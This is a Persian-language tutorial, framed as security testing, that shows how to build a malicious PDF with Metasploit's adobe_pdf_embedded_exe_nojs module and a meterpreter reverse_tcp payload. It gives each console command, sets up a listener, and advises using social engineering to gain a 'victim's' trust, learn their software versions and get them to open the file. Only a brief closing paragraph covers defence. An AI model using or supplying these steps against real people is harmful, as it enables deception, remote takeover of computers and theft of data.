تست امنیت و اموزش جلوگیری از هک با فایل pdf

در این قسمت از اموزش قصد داریم شما را با نحوه تست نفوذ سیستم به وسیله فایل pdf اشنا کنیم. با ما در ادامه این اموزش همراه باشید .

آموزش تست امنیت ویندوز و جلوگیری از هک با فایل pdf

یکی از سوالات پر تکرار کاربران این است که چگونه می توانیم تست نفوذ خود را با فرمت های مختلف انجام دهیم و به نتیجه برسیم ؟؟ اولین کاری که باید انجام دهید این است که درباره سیستم خود اطلاعات جمع اوری کنید و همانگونه که می دانید اولین و مهم ترین مرحله information gathering یا  جمع اوری اطلاعات است زیرا هرچقدر اطلاع بیشتری به دست اورید کار شما در هنگام تست نفوذ بسیار راحت تر خواهد بود و سریع تر پیش خواهد رفت , به این منظور باید اطلاعاتی از قبیل برنامه های موجود بر روی سیستم هدف خود را بدانید , اما چگونه ؟ متخصص امنیت می تواند با استفاده از مهندسی اجتماعی به راحتی متوجه شود که قربانی خود از چه ابزار هایی استفاده می کند .

برای درک بهتر این موضوع به مثال زیر توجه کنید :

متخصص امنیت با هر روشی با تارگت خود ارتباط برقرار می کند ( برقراری ارتباط می تواند به صورت مجازی و استفاده از شبکه های اجتماعی باشد یا به صورت حضوری یا تلفنی و … باشد. ) سپس در این مرحله خود را یک کاربر تازه وارد در دنیای کامپیوتر معرفی می کند و از قربانی خود سوالاتی طبیعی خواهد پرسید , برای مثال : سلام دوست عزیز من شنیده ام که شما در زمینه کامپیوتر مهارت خوبی دارید می توانید به من کمک کنید تا نرم افزار های مورد نیاز اولیه برای یک کامیپوتر را نصب کنم ؟؟

سپس متخصص امنیت می تواند از او سوال کند :

• به نظر شما برای نمایش ویدیو در سیستم از چه مدیا پلیری استفاده کنم ؟
• به نظر شما بهترین ورژن مجموعه نرم افزار office کدام است ؟
• به نظر شما از کدام نسخه ادوب استفاده کنم ؟

درک مفهوم مهندسی اجتماعی

خب شاید از خود بپرسید که چنین سوالاتی بسیار ساده هستند و چنین اطلاعاتی به چه درد متخصص امنیت می خورد,
اما بیایید کمی به پشت پرده این سوالات دقت داشته باشیم .

زمانی که متخصص امنیت چنین سوالاتی را خواهد پرسید , تارگت بدون شک نسخه ای از نرم افزار را به متخصص امنیت پیشنهاد خواهد داد که خودش نیز در حال استفاده از ان نسخه است و به این ترتیب متخصص امنیت از ابزار های موجود و ورژن ابزار های موجود در سیستم مطلع خواهد شد وسپس می توانید با استفاده از جستجو در سایت های ثبت اکسپلویت به دنبال اسیب پذیری های مربوطه بگردد و در نهایت به نتیجه دلخواه خود برسد.

منطق تست امنیت با استفاده از فرمت های مختلف

ایا تا به حال به این موضوع دقت کرده اید که متخصصان امنیت چگونه می توانند با استفاده از فرمت های مختلف به سیستم موردنظر تست نفوذ کنند ؟؟ تصور کنید متخصص امنیت قصد دارد با استفاده از پسوند psd که فایل خروجی نرم افزار فتوشاپ است در سیستم هدف تست کند , به این منظور یک فایل psd برای ارسال می کند و با کلیک کردن و اجرا کردن ان فایل توسط  از سیستم مربوطه در دسترس قرار می گیرد.

برای چنین کاری متخصص امنیت باید نرم افزار فتوشاپ را مورد بررسی قرار دهد و با استفاده از مهندسی معکوس این نرم افزار را تحلیل و بررسی کند و اسیب پذیری  هایی را در این نرم افزار پیدا کند و در  نهایت زمانی که اسیب پذیری مورد نظر را در نرم افزار فتوشاپ پیدا کرد، باید اکسپلویتی را برای نرم افزار فتوشاپ بنویسد که این اکسپلویت بتواند از اسیب پذیری موجود برای تست و تامین امنیت استفاده کند تا زمانی که تارگت بر روی فایل مخرب با پسوند psd کلیک کرد و ان را اجرا کرد بتواند از سیستم قربانی دسترسی بگیرد.

آشنایی کلی با اکسپلویت

دقت داشته باشید که هر اسیب پذیری نیاز به یک اکسپلویت دارد, تصور کنید قصد دارید از یک درب ورودی ,  عبور کنید به این منظور باید به دنبال اسیب پذیری داخل  درب باشید , سپس با بررسی این درب متوجه خواهید شد که  درب مورد نظر شما دارای یک اسیب پذیری است که اگر با یک چکش پنج مرتبه بر روی قفل ان ضربه بزنید قفل درب خواهد شکست و می توانید از درب مربوطه عبور کنید , در این قسمت اسیب پذیری مشخص شد

اکسپلویت دقیقا همان چکش است که می توانید با استفاده از به کارگیری ان از در به جهت تست و برقراری امنیت عبور کنید .

ابزار ها و سرویس های مختلف هم دقیقا به همین صورت کار می کنند به این منظور که متخصص امنیت در ابتدا اسیب پذیری را در یک سرویس پیدا خواهد کرد و در نهایت با نوشتن یک اکسپلویت از ان اسیب پذیری استفاده می کند.

در ادامه به صورت عملی با استفاده پیلود pdf به سیستم عامل ویندوز را تست خواهیم کرد .

نحوه تست امنیت به ویندوز و جلوگیری از هک با فایل pdf

در ابتدا سیستم عامل کالی لینوکس خود را بوت و راه اندازی کنید

سپس باید ابزار Metasploit را اجرا کنید , به این منظور می توانید ترمینال لینوکس خود را اجرا کنید

و دستور زیر را در این محیط وارد کنید تا این ابزار برای شما اجرا شود :

msfconsole

سپس زمانی که محیط متاسپلویت برای شما اجرا شد

باید با استفاده از دستور زیر اکسپلویت مورد نظر را فراخوانی کنید :

use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs

در این مرحله باید آپشن های مورد نظر خود را بر روی اکسپلویت تنظیم کنید

که برای مشاهده آپشن های موجود می توانید از دستور زیر استفاده نمایید :

show options

حال می توانید با استفاده از دستور زیر و تعیین نام , یک نام را برای فایل Pdf خود انتخاب کنید :

set FILENAME readme.pdf

در مرحله بعدی باید یک پیلود برای اکسپلویت خود انتخاب کنید که پیشنهاد ما استفاده از پیلود meterpreter است

, به این منظور از دستور زیر برای تنظیم یک پیلود استفاده کنید :

set PAYLOAD /windows/meterpreter/reverse_tcp

سپس باید با استفاده از دستور show options , اپشن های موجود را مشاهده کنید

و ان را به صورت مراحل پایین شخصی سازی نمایید.

انجام تنظیمات متاسپلویت برای تست نفوذ و هک با فایل pdf

با استفاده از دستور زیر ای پی خود را بر روی پیلود تنظیم کنید :

set LHOST 127.0.0.1

نکته : برای مشاهده ای پی خود می توانید از دستور ifconfig استفاده کنید.

سپس باید با استفاده از دستور زیر یک پورت دلخواه از پورت های شبکه را به پیلود معرفی کنید :

set LPORT 4567

در این مرحله باید فایل مخرب pdf خود را ایجاد کنید :

exploit

سپس یک ترمینال جدید باز کنید و دستور زیر را در ترمینال وارد نمایید :

cd /root/Desktop/ && mv /root/.msf4/local/readme.pdf readme.pdf

دستور بالا یک دستور ترکیبی است که ابتدا شما را به مسیر دسکتاپ وارد می کند و سپس فایل مخرب شما که در مسیر /root/.msf4/local/ قرار دارد را به صفحه دسکتاپ شما انتقال خواهد داد. در این مرحله به محیط متاسپلویت بازگردید و با استفاده از اکسپلویت مولتی هندلر یک listener برای خود با فایل pdf ایجاد کنید. سپس می توانید با استفاده از روش های مهندسی اجتماعی تارگت خود را قانع کنید تا بر روی فایل مخرب شما کلیک کند و اگر از ابزار اسیب پذیر و ورژن اسیب پذیر استفاده کند , شما می توانید دسترسی بگیرید.

امنیت در مقابل این نوع حملات

بهترین روش برای برقراری امنیت سیستم خود در برابر این نوع حملات , هوشیاری شما است و باید دقت داشته باشید که فایل های مورد نظر خود را از منابع معتبر دانلود کنید و مورد استفاده قرار دهید و از افراد ناشناس و مشکوک فایلی را دریافت نکنید و حتی اگر شرایطی وجود داشت که مجبور به اجرای فایل مشکوک بودید , فایل را در یک محیط مجازی اجرا و تست کنید تا حتی اگر فایل مورد نظر شما یک فایل مخرب است , نفوذگر فقط و فقط دسترسی به محیط مجازی شما را داشته باشد و محیط اصلی سیستم عامل شما در امنیت کامل باشد، که می توانید با استفاده از مجازی سازی هایی مانند vm ware سیستم عامل های مجازی مانند ویندوز 10 و غیره را برای خود نصب و اجرا کنید.

نتیجه گیری

در این قسمت از اموزش شما را با نحوه کار کرد اکسپلویت ها اشنا کردیم و یاد گرفتید که متخصص امنیت چگونه می تواند با استفاده از فایل pdf و دیگر فرمت های موجود از سیستم دسترسی بگیرد و اسیب هایی خطرناک را به قربانی خود وارد کند و شما باید همیشه هوشیار باشید و از جدیدترین متد ها اگاه باشید تا بتوانید امنیت خود را در برابر چنین حملات حفظ کنید.

دقت داشته باشید که امنیت هیچ گاه صد درصد نیست .